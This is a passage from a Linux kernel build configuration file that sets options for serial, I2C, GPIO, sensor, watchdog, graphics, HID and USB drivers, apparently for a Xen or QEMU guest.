CONFIG_INPUT_GPIO_BEEPER is not set # CONFIG_INPUT_GPIO_TILT_POLLED is not set # CONFIG_INPUT_ATLAS_BTNS is not set # CONFIG_INPUT_ATI_REMOTE2 is not set # CONFIG_INPUT_KEYSPAN_REMOTE is not set # CONFIG_INPUT_KXTJ9 is not set # CONFIG_INPUT_POWERMATE is not set # CONFIG_INPUT_YEALINK is not set # CONFIG_INPUT_CM109 is not set # CONFIG_INPUT_UINPUT is not set # CONFIG_INPUT_PCF8574 is not set # CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set # CONFIG_INPUT_ADXL34X is not set # CONFIG_INPUT_IMS_PCU is not set # CONFIG_INPUT_CMA3000 is not set CONFIG_INPUT_XEN_KBDDEV_FRONTEND=y # CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set # CONFIG_INPUT_DRV260X_HAPTICS is not set # CONFIG_INPUT_DRV2665_HAPTICS is not set # CONFIG_INPUT_DRV2667_HAPTICS is not set # # Hardware I/O ports # CONFIG_SERIO=y CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y CONFIG_SERIO_I8042=y CONFIG_SERIO_SERPORT=y # CONFIG_SERIO_CT82C710 is not set # CONFIG_SERIO_PARKBD is not set # CONFIG_SERIO_PCIPS2 is not set CONFIG_SERIO_LIBPS2=y CONFIG_SERIO_RAW=y # CONFIG_SERIO_ALTERA_PS2 is not set # CONFIG_SERIO_PS2MULT is not set # CONFIG_SERIO_ARC_PS2 is not set # CONFIG_GAMEPORT is not set # # Character devices # CONFIG_TTY=y CONFIG_VT=y CONFIG_CONSOLE_TRANSLATIONS=y CONFIG_VT_CONSOLE=y CONFIG_VT_CONSOLE_SLEEP=y CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y CONFIG_DEVPTS_MULTIPLE_INSTANCES=y # CONFIG_LEGACY_PTYS is not set CONFIG_SERIAL_NONSTANDARD=y # CONFIG_ROCKETPORT is not set # CONFIG_CYCLADES is not set # CONFIG_MOXA_INTELLIO is not set # CONFIG_MOXA_SMARTIO is not set # CONFIG_SYNCLINK is not set # CONFIG_SYNCLINKMP is not set # CONFIG_SYNCLINK_GT is not set # CONFIG_NOZOMI is not set # CONFIG_ISI is not set # CONFIG_N_HDLC is not set # CONFIG_N_GSM is not set # CONFIG_TRACE_SINK is not set CONFIG_DEVMEM=y # CONFIG_DEVKMEM is not set # # Serial drivers # CONFIG_SERIAL_EARLYCON=y CONFIG_SERIAL_8250=y # CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set CONFIG_SERIAL_8250_PNP=y CONFIG_SERIAL_8250_CONSOLE=y CONFIG_SERIAL_8250_DMA=y CONFIG_SERIAL_8250_PCI=y # CONFIG_SERIAL_8250_CS is not set CONFIG_SERIAL_8250_NR_UARTS=32 CONFIG_SERIAL_8250_RUNTIME_UARTS=4 CONFIG_SERIAL_8250_EXTENDED=y CONFIG_SERIAL_8250_MANY_PORTS=y CONFIG_SERIAL_8250_SHARE_IRQ=y # CONFIG_SERIAL_8250_DETECT_IRQ is not set CONFIG_SERIAL_8250_RSA=y # CONFIG_SERIAL_8250_DW is not set # CONFIG_SERIAL_8250_FINTEK is not set # # Non-8250 serial port support # # CONFIG_SERIAL_KGDB_NMI is not set CONFIG_SERIAL_CORE=y CONFIG_SERIAL_CORE_CONSOLE=y CONFIG_CONSOLE_POLL=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_SCCNXP is not set # CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set # CONFIG_SERIAL_RP2 is not set # CONFIG_SERIAL_FSL_LPUART is not set # CONFIG_TTY_PRINTK is not set # CONFIG_PRINTER is not set CONFIG_PPDEV=y CONFIG_HVC_DRIVER=y CONFIG_HVC_IRQ=y CONFIG_HVC_XEN=y CONFIG_HVC_XEN_FRONTEND=y CONFIG_VIRTIO_CONSOLE=y # CONFIG_IPMI_HANDLER is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set # CONFIG_HW_RANDOM_INTEL is not set # CONFIG_HW_RANDOM_AMD is not set # CONFIG_HW_RANDOM_VIA is not set # CONFIG_HW_RANDOM_VIRTIO is not set CONFIG_NVRAM=y # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # # PCMCIA character devices # # CONFIG_SYNCLINK_CS is not set # CONFIG_CARDMAN_4000 is not set # CONFIG_CARDMAN_4040 is not set # CONFIG_IPWIRELESS is not set # CONFIG_MWAVE is not set CONFIG_RAW_DRIVER=y CONFIG_MAX_RAW_DEVS=8192 CONFIG_HPET=y # CONFIG_HPET_MMAP is not set # CONFIG_HANGCHECK_TIMER is not set # CONFIG_UV_MMTIMER is not set # CONFIG_TCG_TPM is not set # CONFIG_TELCLOCK is not set CONFIG_DEVPORT=y # CONFIG_XILLYBUS is not set # # I2C support # CONFIG_I2C=y CONFIG_ACPI_I2C_OPREGION=y CONFIG_I2C_BOARDINFO=y CONFIG_I2C_COMPAT=y # CONFIG_I2C_CHARDEV is not set # CONFIG_I2C_MUX is not set CONFIG_I2C_HELPER_AUTO=y CONFIG_I2C_ALGOBIT=y # # I2C Hardware Bus support # # # PC SMBus host controller drivers # # CONFIG_I2C_ALI1535 is not set # CONFIG_I2C_ALI1563 is not set # CONFIG_I2C_ALI15X3 is not set # CONFIG_I2C_AMD756 is not set # CONFIG_I2C_AMD8111 is not set # CONFIG_I2C_I801 is not set # CONFIG_I2C_ISCH is not set # CONFIG_I2C_ISMT is not set CONFIG_I2C_PIIX4=y # CONFIG_I2C_NFORCE2 is not set # CONFIG_I2C_SIS5595 is not set # CONFIG_I2C_SIS630 is not set # CONFIG_I2C_SIS96X is not set # CONFIG_I2C_VIA is not set # CONFIG_I2C_VIAPRO is not set # # ACPI drivers # # CONFIG_I2C_SCMI is not set # # I2C system bus drivers (mostly embedded / system-on-chip) # # CONFIG_I2C_CBUS_GPIO is not set # CONFIG_I2C_DESIGNWARE_PLATFORM is not set # CONFIG_I2C_DESIGNWARE_PCI is not set # CONFIG_I2C_GPIO is not set # CONFIG_I2C_OCORES is not set # CONFIG_I2C_PCA_PLATFORM is not set # CONFIG_I2C_PXA_PCI is not set # CONFIG_I2C_SIMTEC is not set # CONFIG_I2C_XILINX is not set # # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set # CONFIG_I2C_PARPORT is not set # CONFIG_I2C_PARPORT_LIGHT is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set # # Other I2C/SMBus bus drivers # # CONFIG_I2C_STUB is not set CONFIG_I2C_SLAVE=y # CONFIG_I2C_SLAVE_EEPROM is not set # CONFIG_I2C_DEBUG_CORE is not set # CONFIG_I2C_DEBUG_ALGO is not set # CONFIG_I2C_DEBUG_BUS is not set # CONFIG_SPI is not set # CONFIG_SPMI is not set # CONFIG_HSI is not set # # PPS support # # CONFIG_PPS is not set # # PPS generators support # # # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set # CONFIG_DP83640_PHY is not set CONFIG_PINCTRL=y # # Pin controllers # # CONFIG_DEBUG_PINCTRL is not set # CONFIG_PINCTRL_AMD is not set CONFIG_PINCTRL_BAYTRAIL=y # CONFIG_PINCTRL_CHERRYVIEW is not set # CONFIG_PINCTRL_SUNRISEPOINT is not set CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y CONFIG_GPIOLIB=y CONFIG_GPIO_DEVRES=y CONFIG_GPIO_ACPI=y CONFIG_GPIOLIB_IRQCHIP=y # CONFIG_DEBUG_GPIO is not set CONFIG_GPIO_SYSFS=y # # Memory mapped GPIO drivers # # CONFIG_GPIO_DWAPB is not set # CONFIG_GPIO_F7188X is not set # CONFIG_GPIO_GENERIC_PLATFORM is not set # CONFIG_GPIO_ICH is not set # CONFIG_GPIO_IT8761E is not set # CONFIG_GPIO_LYNXPOINT is not set # CONFIG_GPIO_SCH is not set # CONFIG_GPIO_SCH311X is not set # CONFIG_GPIO_VX855 is not set # # I2C GPIO expanders # # CONFIG_GPIO_ADP5588 is not set # CONFIG_GPIO_MAX7300 is not set # CONFIG_GPIO_MAX732X is not set # CONFIG_GPIO_PCA953X is not set # CONFIG_GPIO_PCF857X is not set # CONFIG_GPIO_SX150X is not set # # MFD GPIO expanders # # # PCI GPIO expanders # # CONFIG_GPIO_AMD8111 is not set # CONFIG_GPIO_BT8XX is not set # CONFIG_GPIO_INTEL_MID is not set # CONFIG_GPIO_ML_IOH is not set # CONFIG_GPIO_RDC321X is not set # # USB GPIO expanders # # CONFIG_W1 is not set CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set # CONFIG_BATTERY_SBS is not set # CONFIG_BATTERY_BQ27x00 is not set # CONFIG_BATTERY_MAX17040 is not set # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set # CONFIG_CHARGER_GPIO is not set # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_BQ24190 is not set # CONFIG_CHARGER_BQ24735 is not set # CONFIG_CHARGER_BQ25890 is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set # CONFIG_CHARGER_RT9455 is not set CONFIG_POWER_RESET=y # CONFIG_POWER_RESET_RESTART is not set # CONFIG_POWER_AVS is not set CONFIG_HWMON=y # CONFIG_HWMON_VID is not set # CONFIG_HWMON_DEBUG_CHIP is not set # # Native drivers # # CONFIG_SENSORS_ABITUGURU is not set # CONFIG_SENSORS_ABITUGURU3 is not set # CONFIG_SENSORS_AD7414 is not set # CONFIG_SENSORS_AD7418 is not set # CONFIG_SENSORS_ADM1021 is not set # CONFIG_SENSORS_ADM1025 is not set # CONFIG_SENSORS_ADM1026 is not set # CONFIG_SENSORS_ADM1029 is not set # CONFIG_SENSORS_ADM1031 is not set # CONFIG_SENSORS_ADM9240 is not set # CONFIG_SENSORS_ADT7410 is not set # CONFIG_SENSORS_ADT7411 is not set # CONFIG_SENSORS_ADT7462 is not set # CONFIG_SENSORS_ADT7470 is not set # CONFIG_SENSORS_ADT7475 is not set # CONFIG_SENSORS_ASC7621 is not set # CONFIG_SENSORS_K8TEMP is not set # CONFIG_SENSORS_K10TEMP is not set # CONFIG_SENSORS_FAM15H_POWER is not set # CONFIG_SENSORS_APPLESMC is not set # CONFIG_SENSORS_ASB100 is not set # CONFIG_SENSORS_ATXP1 is not set # CONFIG_SENSORS_DS620 is not set # CONFIG_SENSORS_DS1621 is not set # CONFIG_SENSORS_DELL_SMM is not set # CONFIG_SENSORS_I5K_AMB is not set # CONFIG_SENSORS_F71805F is not set # CONFIG_SENSORS_F71882FG is not set # CONFIG_SENSORS_F75375S is not set # CONFIG_SENSORS_FSCHMD is not set # CONFIG_SENSORS_GL518SM is not set # CONFIG_SENSORS_GL520SM is not set # CONFIG_SENSORS_G760A is not set # CONFIG_SENSORS_G762 is not set # CONFIG_SENSORS_GPIO_FAN is not set # CONFIG_SENSORS_HIH6130 is not set # CONFIG_SENSORS_I5500 is not set # CONFIG_SENSORS_CORETEMP is not set # CONFIG_SENSORS_IT87 is not set # CONFIG_SENSORS_JC42 is not set # CONFIG_SENSORS_POWR1220 is not set # CONFIG_SENSORS_LINEAGE is not set # CONFIG_SENSORS_LTC2945 is not set # CONFIG_SENSORS_LTC4151 is not set # CONFIG_SENSORS_LTC4215 is not set # CONFIG_SENSORS_LTC4222 is not set # CONFIG_SENSORS_LTC4245 is not set # CONFIG_SENSORS_LTC4260 is not set # CONFIG_SENSORS_LTC4261 is not set # CONFIG_SENSORS_MAX16065 is not set # CONFIG_SENSORS_MAX1619 is not set # CONFIG_SENSORS_MAX1668 is not set # CONFIG_SENSORS_MAX197 is not set # CONFIG_SENSORS_MAX6639 is not set # CONFIG_SENSORS_MAX6642 is not set # CONFIG_SENSORS_MAX6650 is not set # CONFIG_SENSORS_MAX6697 is not set # CONFIG_SENSORS_HTU21 is not set # CONFIG_SENSORS_MCP3021 is not set # CONFIG_SENSORS_LM63 is not set # CONFIG_SENSORS_LM73 is not set # CONFIG_SENSORS_LM75 is not set # CONFIG_SENSORS_LM77 is not set # CONFIG_SENSORS_LM78 is not set # CONFIG_SENSORS_LM80 is not set # CONFIG_SENSORS_LM83 is not set # CONFIG_SENSORS_LM85 is not set # CONFIG_SENSORS_LM87 is not set # CONFIG_SENSORS_LM90 is not set # CONFIG_SENSORS_LM92 is not set # CONFIG_SENSORS_LM93 is not set # CONFIG_SENSORS_LM95234 is not set # CONFIG_SENSORS_LM95241 is not set # CONFIG_SENSORS_LM95245 is not set # CONFIG_SENSORS_PC87360 is not set # CONFIG_SENSORS_PC87427 is not set # CONFIG_SENSORS_NTC_THERMISTOR is not set # CONFIG_SENSORS_NCT6683 is not set # CONFIG_SENSORS_NCT6775 is not set # CONFIG_SENSORS_NCT7802 is not set # CONFIG_SENSORS_NCT7904 is not set # CONFIG_SENSORS_PCF8591 is not set # CONFIG_PMBUS is not set # CONFIG_SENSORS_SHT15 is not set # CONFIG_SENSORS_SHT21 is not set # CONFIG_SENSORS_SHTC1 is not set # CONFIG_SENSORS_SIS5595 is not set # CONFIG_SENSORS_DME1737 is not set # CONFIG_SENSORS_EMC1403 is not set # CONFIG_SENSORS_EMC2103 is not set # CONFIG_SENSORS_EMC6W201 is not set # CONFIG_SENSORS_SMSC47M1 is not set # CONFIG_SENSORS_SMSC47M192 is not set # CONFIG_SENSORS_SMSC47B397 is not set # CONFIG_SENSORS_SCH56XX_COMMON is not set # CONFIG_SENSORS_SCH5627 is not set # CONFIG_SENSORS_SCH5636 is not set # CONFIG_SENSORS_SMM665 is not set # CONFIG_SENSORS_ADC128D818 is not set # CONFIG_SENSORS_ADS1015 is not set # CONFIG_SENSORS_ADS7828 is not set # CONFIG_SENSORS_AMC6821 is not set # CONFIG_SENSORS_INA209 is not set # CONFIG_SENSORS_INA2XX is not set # CONFIG_SENSORS_TC74 is not set # CONFIG_SENSORS_THMC50 is not set # CONFIG_SENSORS_TMP102 is not set # CONFIG_SENSORS_TMP103 is not set # CONFIG_SENSORS_TMP401 is not set # CONFIG_SENSORS_TMP421 is not set # CONFIG_SENSORS_VIA_CPUTEMP is not set # CONFIG_SENSORS_VIA686A is not set # CONFIG_SENSORS_VT1211 is not set # CONFIG_SENSORS_VT8231 is not set # CONFIG_SENSORS_W83781D is not set # CONFIG_SENSORS_W83791D is not set # CONFIG_SENSORS_W83792D is not set # CONFIG_SENSORS_W83793 is not set # CONFIG_SENSORS_W83795 is not set # CONFIG_SENSORS_W83L785TS is not set # CONFIG_SENSORS_W83L786NG is not set # CONFIG_SENSORS_W83627HF is not set # CONFIG_SENSORS_W83627EHF is not set # # ACPI drivers # # CONFIG_SENSORS_ACPI_POWER is not set # CONFIG_SENSORS_ATK0110 is not set CONFIG_THERMAL=y CONFIG_THERMAL_HWMON=y # CONFIG_THERMAL_WRITABLE_TRIPS is not set CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set # CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set # CONFIG_THERMAL_DEFAULT_GOV_POWER_ALLOCATOR is not set CONFIG_THERMAL_GOV_FAIR_SHARE=y CONFIG_THERMAL_GOV_STEP_WISE=y CONFIG_THERMAL_GOV_BANG_BANG=y CONFIG_THERMAL_GOV_USER_SPACE=y # CONFIG_THERMAL_GOV_POWER_ALLOCATOR is not set # CONFIG_THERMAL_EMULATION is not set # CONFIG_INTEL_POWERCLAMP is not set # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set # CONFIG_INT340X_THERMAL is not set # # Texas Instruments thermal drivers # CONFIG_WATCHDOG=y CONFIG_WATCHDOG_CORE=y # CONFIG_WATCHDOG_NOWAYOUT is not set # # Watchdog Device Drivers # # CONFIG_SOFT_WATCHDOG is not set # CONFIG_XILINX_WATCHDOG is not set # CONFIG_CADENCE_WATCHDOG is not set # CONFIG_DW_WATCHDOG is not set # CONFIG_MAX63XX_WATCHDOG is not set # CONFIG_ACQUIRE_WDT is not set # CONFIG_ADVANTECH_WDT is not set # CONFIG_ALIM1535_WDT is not set # CONFIG_ALIM7101_WDT is not set # CONFIG_F71808E_WDT is not set # CONFIG_SP5100_TCO is not set # CONFIG_SBC_FITPC2_WATCHDOG is not set # CONFIG_EUROTECH_WDT is not set # CONFIG_IB700_WDT is not set # CONFIG_IBMASR is not set # CONFIG_WAFER_WDT is not set # CONFIG_I6300ESB_WDT is not set # CONFIG_IE6XX_WDT is not set # CONFIG_ITCO_WDT is not set # CONFIG_IT8712F_WDT is not set # CONFIG_IT87_WDT is not set # CONFIG_HP_WATCHDOG is not set # CONFIG_SC1200_WDT is not set # CONFIG_PC87413_WDT is not set # CONFIG_NV_TCO is not set # CONFIG_60XX_WDT is not set # CONFIG_CPU5_WDT is not set # CONFIG_SMSC_SCH311X_WDT is not set # CONFIG_SMSC37B787_WDT is not set # CONFIG_VIA_WDT is not set # CONFIG_W83627HF_WDT is not set # CONFIG_W83877F_WDT is not set # CONFIG_W83977F_WDT is not set # CONFIG_MACHZ_WDT is not set # CONFIG_SBC_EPX_C3_WATCHDOG is not set # CONFIG_MEN_A21_WDT is not set # CONFIG_XEN_WDT is not set # # PCI-based Watchdog Cards # # CONFIG_PCIPCWATCHDOG is not set # CONFIG_WDTPCI is not set # # USB-based Watchdog Cards # # CONFIG_USBPCWATCHDOG is not set CONFIG_SSB_POSSIBLE=y # # Sonics Silicon Backplane # # CONFIG_SSB is not set CONFIG_BCMA_POSSIBLE=y # # Broadcom specific AMBA # # CONFIG_BCMA is not set # # Multifunction device drivers # # CONFIG_MFD_CORE is not set # CONFIG_MFD_AS3711 is not set # CONFIG_PMIC_ADP5520 is not set # CONFIG_MFD_AAT2870_CORE is not set # CONFIG_MFD_BCM590XX is not set # CONFIG_MFD_AXP20X is not set # CONFIG_MFD_CROS_EC is not set # CONFIG_PMIC_DA903X is not set # CONFIG_MFD_DA9052_I2C is not set # CONFIG_MFD_DA9055 is not set # CONFIG_MFD_DA9063 is not set # CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set # CONFIG_MFD_MC13XXX_I2C is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_HTC_I2CPLD is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_INTEL_SOC_PMIC is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set # CONFIG_MFD_88PM800 is not set # CONFIG_MFD_88PM805 is not set # CONFIG_MFD_88PM860X is not set # CONFIG_MFD_MAX14577 is not set # CONFIG_MFD_MAX77693 is not set # CONFIG_MFD_MAX77843 is not set # CONFIG_MFD_MAX8907 is not set # CONFIG_MFD_MAX8925 is not set # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set # CONFIG_MFD_RDC321X is not set # CONFIG_MFD_RTSX_PCI is not set # CONFIG_MFD_RT5033 is not set # CONFIG_MFD_RTSX_USB is not set # CONFIG_MFD_RC5T583 is not set # CONFIG_MFD_RN5T618 is not set # CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set # CONFIG_MFD_SMSC is not set # CONFIG_ABX500_CORE is not set # CONFIG_MFD_SYSCON is not set # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_PALMAS is not set # CONFIG_TPS6105X is not set # CONFIG_TPS65010 is not set # CONFIG_TPS6507X is not set # CONFIG_MFD_TPS65090 is not set # CONFIG_MFD_TPS65217 is not set # CONFIG_MFD_TPS65218 is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65910 is not set # CONFIG_MFD_TPS65912 is not set # CONFIG_MFD_TPS65912_I2C is not set # CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set # CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TMIO is not set # CONFIG_MFD_VX855 is not set # CONFIG_MFD_ARIZONA_I2C is not set # CONFIG_MFD_WM8400 is not set # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set # CONFIG_REGULATOR is not set # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # CONFIG_AGP=y CONFIG_AGP_AMD64=y CONFIG_AGP_INTEL=y CONFIG_AGP_SIS=y CONFIG_AGP_VIA=y CONFIG_INTEL_GTT=y CONFIG_VGA_ARB=y CONFIG_VGA_ARB_MAX_GPUS=16 CONFIG_VGA_SWITCHEROO=y # # Direct Rendering Manager # CONFIG_DRM=y CONFIG_DRM_KMS_HELPER=y CONFIG_DRM_KMS_FB_HELPER=y CONFIG_DRM_LOAD_EDID_FIRMWARE=y CONFIG_DRM_TTM=y # # I2C encoder or helper chips # # CONFIG_DRM_I2C_ADV7511 is not set # CONFIG_DRM_I2C_CH7006 is not set # CONFIG_DRM_I2C_SIL164 is not set # CONFIG_DRM_I2C_NXP_TDA998X is not set # CONFIG_DRM_TDFX is not set # CONFIG_DRM_R128 is not set # CONFIG_DRM_RADEON is not set # CONFIG_DRM_AMDGPU is not set # CONFIG_DRM_NOUVEAU is not set # CONFIG_DRM_I810 is not set # CONFIG_DRM_I915 is not set # CONFIG_DRM_MGA is not set # CONFIG_DRM_SIS is not set # CONFIG_DRM_VIA is not set # CONFIG_DRM_SAVAGE is not set # CONFIG_DRM_VGEM is not set # CONFIG_DRM_VMWGFX is not set # CONFIG_DRM_GMA500 is not set # CONFIG_DRM_UDL is not set # CONFIG_DRM_AST is not set # CONFIG_DRM_MGAG200 is not set # CONFIG_DRM_CIRRUS_QEMU is not set CONFIG_DRM_QXL=y # CONFIG_DRM_BOCHS is not set # CONFIG_DRM_VIRTIO_GPU is not set # # Frame buffer Devices # CONFIG_FB=y # CONFIG_FIRMWARE_EDID is not set CONFIG_FB_CMDLINE=y # CONFIG_FB_DDC is not set CONFIG_FB_BOOT_VESA_SUPPORT=y CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y # CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set CONFIG_FB_SYS_FILLRECT=y CONFIG_FB_SYS_COPYAREA=y CONFIG_FB_SYS_IMAGEBLIT=y # CONFIG_FB_FOREIGN_ENDIAN is not set CONFIG_FB_SYS_FOPS=y CONFIG_FB_DEFERRED_IO=y # CONFIG_FB_SVGALIB is not set # CONFIG_FB_MACMODES is not set # CONFIG_FB_BACKLIGHT is not set # CONFIG_FB_MODE_HELPERS is not set CONFIG_FB_TILEBLITTING=y # # Frame buffer hardware drivers # # CONFIG_FB_CIRRUS is not set # CONFIG_FB_PM2 is not set # CONFIG_FB_CYBER2000 is not set # CONFIG_FB_ARC is not set # CONFIG_FB_ASILIANT is not set # CONFIG_FB_IMSTT is not set # CONFIG_FB_VGA16 is not set # CONFIG_FB_UVESA is not set CONFIG_FB_VESA=y CONFIG_FB_EFI=y # CONFIG_FB_N411 is not set # CONFIG_FB_HGA is not set # CONFIG_FB_OPENCORES is not set # CONFIG_FB_S1D13XXX is not set # CONFIG_FB_NVIDIA is not set # CONFIG_FB_RIVA is not set # CONFIG_FB_I740 is not set # CONFIG_FB_LE80578 is not set # CONFIG_FB_INTEL is not set # CONFIG_FB_MATROX is not set # CONFIG_FB_RADEON is not set # CONFIG_FB_ATY128 is not set # CONFIG_FB_ATY is not set # CONFIG_FB_S3 is not set # CONFIG_FB_SAVAGE is not set # CONFIG_FB_SIS is not set # CONFIG_FB_VIA is not set # CONFIG_FB_NEOMAGIC is not set # CONFIG_FB_KYRO is not set # CONFIG_FB_3DFX is not set # CONFIG_FB_VOODOO1 is not set # CONFIG_FB_VT8623 is not set # CONFIG_FB_TRIDENT is not set # CONFIG_FB_ARK is not set # CONFIG_FB_PM3 is not set # CONFIG_FB_CARMINE is not set # CONFIG_FB_SMSCUFX is not set # CONFIG_FB_UDL is not set # CONFIG_FB_VIRTUAL is not set CONFIG_XEN_FBDEV_FRONTEND=y # CONFIG_FB_METRONOME is not set # CONFIG_FB_MB862XX is not set # CONFIG_FB_BROADSHEET is not set # CONFIG_FB_AUO_K190X is not set # CONFIG_FB_SIMPLE is not set CONFIG_BACKLIGHT_LCD_SUPPORT=y # CONFIG_LCD_CLASS_DEVICE is not set CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_GENERIC is not set # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_SAHARA is not set # CONFIG_BACKLIGHT_ADP8860 is not set # CONFIG_BACKLIGHT_ADP8870 is not set # CONFIG_BACKLIGHT_LM3639 is not set # CONFIG_BACKLIGHT_GPIO is not set # CONFIG_BACKLIGHT_LV5207LP is not set # CONFIG_BACKLIGHT_BD6107 is not set # CONFIG_VGASTATE is not set CONFIG_HDMI=y # # Console display driver support # CONFIG_VGA_CONSOLE=y CONFIG_VGACON_SOFT_SCROLLBACK=y CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64 CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y CONFIG_LOGO=y # CONFIG_LOGO_LINUX_MONO is not set # CONFIG_LOGO_LINUX_VGA16 is not set CONFIG_LOGO_LINUX_CLUT224=y # CONFIG_SOUND is not set # # HID support # CONFIG_HID=y CONFIG_HID_BATTERY_STRENGTH=y CONFIG_HIDRAW=y # CONFIG_UHID is not set CONFIG_HID_GENERIC=y # # Special HID drivers # CONFIG_HID_A4TECH=y # CONFIG_HID_ACRUX is not set CONFIG_HID_APPLE=y # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set CONFIG_HID_BELKIN=y # CONFIG_HID_BETOP_FF is not set CONFIG_HID_CHERRY=y CONFIG_HID_CHICONY=y # CONFIG_HID_CP2112 is not set CONFIG_HID_CYPRESS=y # CONFIG_HID_DRAGONRISE is not set # CONFIG_HID_EMS_FF is not set # CONFIG_HID_ELECOM is not set # CONFIG_HID_ELO is not set CONFIG_HID_EZKEY=y # CONFIG_HID_HOLTEK is not set # CONFIG_HID_GT683R is not set # CONFIG_HID_KEYTOUCH is not set # CONFIG_HID_KYE is not set # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_TWINHAN is not set CONFIG_HID_KENSINGTON=y # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set CONFIG_HID_LOGITECH=y # CONFIG_HID_LOGITECH_DJ is not set # CONFIG_HID_LOGITECH_HIDPP is not set CONFIG_LOGITECH_FF=y CONFIG_LOGIRUMBLEPAD2_FF=y CONFIG_LOGIG940_FF=y CONFIG_LOGIWHEELS_FF=y CONFIG_HID_MAGICMOUSE=y CONFIG_HID_MICROSOFT=y CONFIG_HID_MONTEREY=y # CONFIG_HID_MULTITOUCH is not set CONFIG_HID_NTRIG=y # CONFIG_HID_ORTEK is not set # CONFIG_HID_PANTHERLORD is not set # CONFIG_HID_PENMOUNT is not set # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set # CONFIG_HID_SONY is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEELSERIES is not set # CONFIG_HID_SUNPLUS is not set # CONFIG_HID_RMI is not set # CONFIG_HID_GREENASIA is not set # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set # CONFIG_HID_THINGM is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_WACOM is not set # CONFIG_HID_WIIMOTE is not set # CONFIG_HID_XINMO is not set # CONFIG_HID_ZEROPLUS is not set # CONFIG_HID_ZYDACRON is not set # CONFIG_HID_SENSOR_HUB is not set # # USB HID support # CONFIG_USB_HID=y CONFIG_HID_PID=y CONFIG_USB_HIDDEV=y # # I2C HID support # # CONFIG_I2C_HID is not set CONFIG_USB_OHCI_LITTLE_ENDIAN=y CONFIG_USB_SUPPORT=y CONFIG_USB_COMMON=y CONFIG_USB_ARCH_HAS_HCD=y CONFIG_USB=y CONFIG_USB_ANNOUNCE_NEW_DEVICES=y # # Miscellaneous USB options # 